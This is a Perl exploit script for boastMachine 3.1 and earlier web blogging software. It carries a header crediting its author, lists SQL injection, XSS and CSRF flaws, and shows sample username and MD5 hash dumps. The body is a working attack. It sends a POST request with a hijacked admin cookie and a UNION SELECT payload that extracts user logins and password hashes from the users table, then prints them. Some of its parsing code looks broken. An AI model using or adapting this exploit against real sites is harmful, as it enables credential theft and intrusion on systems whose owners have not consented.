#!/usr/bin/perl=0D
#=0D
#   VulnScr: boastMachine version 3.1 and prior=0D
# Web: http://boastology.com/=0D 
#=0D
#      Date: Sun July 16 10:43 PM 2006=0D
# Credits: DarkFig (gmdarkfig@gmail.com)=0D 
#      Vuln: SQL Injection, Cross Site Scripting, Cross Site Request Forgery, Predictable Backup Filename=0D
# Advisory: http://www.acid-root.new.fr/advisories/boastmachine.txt (French)=0D 
#  Required: Admin cookie (user+hash) (You can have it with the XSS)=0D
#=0D
# +-------------------------------------------+=0D
# | boastMachine <= 3.1 SQL Injection Exploit |=0D
# +-------------------------------------------+=0D
#  root::95f44e0321ed96ba9d2961a54daab05e=0D
#  darkfig::547bbdedb2a1df8a1422b58e1eaa2111=0D
#  dapowa::0b76dc1c5bb6c0267aa89fcea5f95bb6=0D
#=0D
use IO::Socket;=0D
=0D
print STDERR "+-------------------------------------------+\n";=0D
print STDERR "| boastMachine <= 3.1 SQL Injection Exploit |\n";=0D
print STDERR "+-------------------------------------------+\n";=0D
=0D
if(!$ARGV[3]) {=0D
  print STDERR "| Usage:     ---|\n";=0D
  print STDERR "+-------------------------------------------+\n";=0D
  exit();=0D
}=0D
=0D
my($host,$path,$admin,$hash) = ($ARGV[0], $ARGV[1], $ARGV[2], $ARGV[3]);=0D
=0D
my $sock = IO::Socket::INET->new(=0D
                           PeerAddr => $host,=0D
                           PeerPort => 80,=0D
                           Proto => 'tcp',=0D
                           );=0D
my $data = "do=search&action=search&blog=1' UNION SELECT user_pass,user_login FROM bmc_users%23&cat_list=";=0D
my $leng = length($data);=0D
=0D
print $sock "POST $path"."bmc/admin.php HTTP/1.1\r\n";=0D
print $sock "Host: $host\r\n";=0D
print $sock "Referer: http://localhost/bmachine/bmc/admin.php?action=search&blog=\r\n";=0D 
print $sock "Cookie: BMC_user=${admin}; BMC_user_password=${hash}\r\n";=0D
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";=0D
print $sock "Content-Length: $leng\r\n\n";=0D
print $sock "$data\r\n\n";=0D
=0D
while($answ = <$sock>) {=0D
  if($answ =~ /(\S*)<\/option>/) {=0D
    if(length($1) eq 32) {=0D
    print STDERR $2."::".$1."\n";=0D
  }}=0D
  if($answ =~ //) { last; }=0D
}=0D
$sock->close();=0D
exit();